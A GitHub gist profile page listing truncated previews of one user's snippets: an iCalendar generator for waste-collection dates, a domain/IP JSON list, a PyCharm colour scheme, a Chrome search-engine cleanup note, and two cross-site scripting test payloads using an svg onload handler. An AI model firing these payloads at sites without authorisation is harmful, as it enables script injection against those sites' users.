Skip to content

Instantly share code, notes, and snippets.

View jogspokoen's full-sized avatar

Maksym Bendeberia jogspokoen

View GitHub Profile
@jogspokoen
jogspokoen / afval.py
Created December 2, 2022 12:17
afval calendar generator
import json
import datetime
from uuid import uuid4
j = json.load(open("afval_2021.json"))
print("""BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Maka//Maka
BEGIN:VTIMEZONE
{
"domain_list_id": 1,
"main_domain": "google.com",
"hosts":[
{
"subdomain": "google.com",
"ips": [
{
"addr": "216.58.212.174",
"ip_type": 4,
@jogspokoen
jogspokoen / monokai_custom.icls
Created August 8, 2018 13:39
Cutoms monokai color scheme for PyCharm
<scheme name="Monokai_custom" version="142" parent_scheme="Default">
<option name="FONT_SCALE" value="1.0" />
<option name="EDITOR_FONT_SIZE" value="14" />
<option name="EDITOR_FONT_NAME" value="Menlo" />
<option name="CONSOLE_FONT_NAME" value="Menlo" />
<option name="CONSOLE_FONT_SIZE" value="12" />
<colors>
<option name="CARET_COLOR" value="f8f8f0" />
<option name="CARET_ROW_COLOR" value="3e3d32" />
<option name="CONSOLE_BACKGROUND_KEY" value="272822" />
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
'"/><svG x=">" onload=(alert(777))``>
@jogspokoen
jogspokoen / delete_chrome_search_engines.js
Created March 14, 2017 09:08
How to delete all search engines, added by Google Chrome automatically.
/*
How to delete all search engines, added by google automatically.
open this link in browser: chrome://settings-frame/searchEngines
Open console, and run:
It will delete each search engine, which shortcut is longer than 6 characters.
So your custom shorcuts are safe.
You can update this value, for sure.
*/